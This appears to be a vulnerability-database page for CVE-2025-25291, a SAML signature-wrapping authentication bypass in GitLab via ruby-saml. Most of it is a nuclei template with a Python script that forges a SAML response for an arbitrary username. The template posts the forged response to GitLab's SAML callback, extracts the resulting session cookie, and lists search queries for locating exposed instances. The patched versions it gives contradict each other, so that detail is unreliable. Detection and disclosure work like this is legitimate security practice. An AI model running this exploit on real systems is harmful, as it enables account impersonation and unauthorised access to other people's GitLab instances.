Browse / CVEs / CVE-2025-25291
CVE-2025-25291· gitlab / gitlab· CWE-347
GitLab - SAML Authentication Bypass
ruby-saml provides security assertion markup language (SAML) single sign-on (SSO) for Ruby. An authentication bypass vulnerability was found in ruby-saml prior to versions 1.12.4 and 1.18.0 due to a parser differential. ReXML and Nokogiri parse XML differently; the parsers can generate entirely different document structures from the same XML input. That allows an attacker to be able to execute a Signature Wrapping attack. This issue may lead to authentication bypass. Versions 1.12.4 and 1.18.0 fix the issue.
Impact
Unauthenticated attackers can bypass SAML SSO authentication through parser differential exploitation, enabling unauthorized access to GitLab instances without valid credentials.
Fix
This vulnerability is fixed in 1.17.0 and 1.12.3.
How to confirm it
Send: POST /users/auth/saml/callback
Positive when: contains(header,"known_sign_in") and status_code == 302Run it with nuclei: nuclei -id CVE-2025-25291 -u <target>
The full check
id: CVE-2025-25291
info:
name: GitLab - SAML Authentication Bypass
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
ruby-saml provides security assertion markup language (SAML) single sign-on (SSO) for Ruby. An authentication bypass vulnerability was found in ruby-saml prior to versions 1.12.4 and 1.18.0 due to a parser differential. ReXML and Nokogiri parse XML differently; the parsers can generate entirely different document structures from the same XML input. That allows an attacker to be able to execute a Signature Wrapping attack. This issue may lead to authentication bypass. Versions 1.12.4 and 1.18.0 fix the issue.
impact: |
Unauthenticated attackers can bypass SAML SSO authentication through parser differential exploitation, enabling unauthorized access to GitLab instances without valid credentials.
remediation: |
This vulnerability is fixed in 1.17.0 and 1.12.3.
reference:
- https://portswigger.net/research/saml-roulette-the-hacker-always-wins
- https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/
- https://about.gitlab.com/releases/2025/03/12/patch-release-gitlab-17-9-2-released
- https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials
- https://github.com/SAML-Toolkits/ruby-saml/commit/e76c5b36bac40aedbf1ba7ffaaf495be63328cd9
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.3
cve-id: CVE-2025-25291
cwe-id: CWE-347
epss-score: 0.20965
epss-percentile: 0.97582
metadata:
verified: true
vendor: gitlab
product: gitlab
shodan-query:
- http.title:"gitlab"
- cpe:"cpe:2.3:a:gitlab:gitlab"
- http.html:"gitlab enterprise edition"
- http.html:"gitlab-ci.yml"
fofa-query:
- body="gitlab enterprise edition"
- body="gitlab-ci.yml"
- title="gitlab"
google-query: intitle:"gitlab"
tags: cve,cve2025,saml,auth-bypass,gitlab,code,vuln
code:
- engine:
- py
- python3 # requires python to be pre-installed on system running nuclei
source: |
import os,re
import base64
import urllib.parse
saml_response = os.getenv('SAMLResponse')
username = os.getenv('username')
saml_resp = base64.b64decode(urllib.parse.unquote(saml_response))
if not username:
username='[email protected]'
prefix = '''<!DOCTYPE foo SYSTEM 'x" [<!ATTLIST Signature xmlns CDATA #FIXED "http://www.w3.org/2000/09/xmldsig#" xmlns CDATA "block">]><!-- '>'''
pos = saml_resp.find(b'?>') + 2
saml_resp_mod = saml_resp[pos:]
saml_resp_mod = prefix + saml_resp_mod[:-17].decode() + "<![CDATA[-->" + saml_resp_mod[:-17].decode() + "<!--]]>--></samlp:Response>"
saml_resp_mod = re.sub(r'(<saml:NameID[^>]*>)[^<]+(</saml:NameID>)', rf'\1{username}\2', saml_resp_mod, count=1)
saml_resp_mod = re.sub(r'(<saml:Attribute Name="email"[^>]*>\s*<saml:AttributeValue[^>]*>)[^<]+(</saml:AttributeValue>)', rf'\1{username}\2', saml_resp_mod, count=1)
print(urllib.parse.quote(base64.b64encode(saml_resp_mod.encode())))
http:
- raw:
- |
POST /users/auth/saml/callback HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
RelayState=undefined&SAMLResponse={{code_response}}
matchers:
- type: dsl
dsl:
- 'contains(header,"known_sign_in")'
- 'status_code == 302'
condition: and
extractors:
- type: kval
kval:
- _gitlab_sessionReferences
- https://portswigger.net/research/saml-roulette-the-hacker-always-wins
- https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/
- https://about.gitlab.com/releases/2025/03/12/patch-release-gitlab-17-9-2-released
- https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials
- https://github.com/SAML-Toolkits/ruby-saml/commit/e76c5b36bac40aedbf1ba7ffaaf495be63328cd9
Use this check only on systems you are authorised to test. Where the data comes from